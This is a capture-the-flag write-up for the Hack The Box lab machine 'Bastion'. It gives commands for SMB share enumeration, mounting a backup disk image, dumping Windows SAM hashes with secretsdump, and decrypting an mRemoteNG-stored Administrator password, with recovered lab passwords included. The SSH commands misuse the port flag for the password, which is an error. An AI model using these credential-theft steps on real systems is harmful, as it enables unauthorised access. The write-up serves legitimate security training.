Writeup: Hack The Box - Machines - Bastion
Description
- Name:
Bastion
- IP:
10.10.10.134
- Author:
L4jmpe
- Difficulty:
?/10
Discovery
nmap -sC -sV -Pn -p- -T5 --min-rate 1000 --max-retries 5 10.10.10.134
1 | Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-18 23:39 CEST |
From the output we can notice that the server is running Samba (smb).
Pwn user
To list all the shares we can use the command smbclient -L 10.10.10.134
typing an empty workgroup, which outputs:
1 | Unable to initialize messaging context |
Now we can try to access them (or mounting the share mount -t cifs \\10.10.10.134\Backups mountedBackup
), figuring out that the can only access Backups and IPC$. Exploring the first one, we’re led to the folder WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351
which contains a bunch of xml files plus two vhd.
By definition:
1 | VHD (Virtual Hard Disk) is a file format which represents a virtual hard disk drive (HDD). It may contain what is found on a physical HDD, such as disk partitions and a file system, which in turn can contain files and folders. It is typically used as the hard disk of a virtual machine. |
By using the command virt-list-filesystems mountedBackup/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
provided by libguestfs
, it is possible to see all the virtual hard disk partitions (in our case both have /dev/sda1).
Mount those vhd in a your temporary local directory: guestmount --add mountedBackup/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --ro ~/Desktop/mntpt1 -m /dev/sda1
.
While the first one does not provide useful data, the second one is way more interesting: in fact we can try to explore the Windows
directory in order to see if there is a SAM file, which suggests us that it can hopefully be cracked using also the SECURITY and SYSTEM files.
Once retrieved those files, we can use a script supplied by impacket
to dump the possible passwords from our files:
1 | $ python examples/secretsdump.py -sam ~/Desktop/SAM -security ~/Desktop/SECURITY -system ~/Desktop/SYSTEM LOCAL |
The password for user L4mpje is bureaulampje
!
1 | ssh L4mpje@10.10.10.134 -p ************* |
And that is the user flag :)
Pwn root
For the root part we have to find a vulnerable service/program. By searching through the directories, we notice that mremoteng
application is installed. This is a tool for password-management, whose bug in the previous version could allow to crack the password. It stores its data in the directory (in our case) C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
inside that xml file. In fact by opening it, it is possible to see that there are the hashed password.
Cracking them using that vulnerability is quite easy, we can use for example mremoteng-decrypt:
1 | $ python mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" |
Now we have the password for Administrator
!
1 | $ ssh Administrator@10.10.10.134 -p thXLHM96BeKL0ER2 |
We got the root flag.
Vulnerability description link: cosine security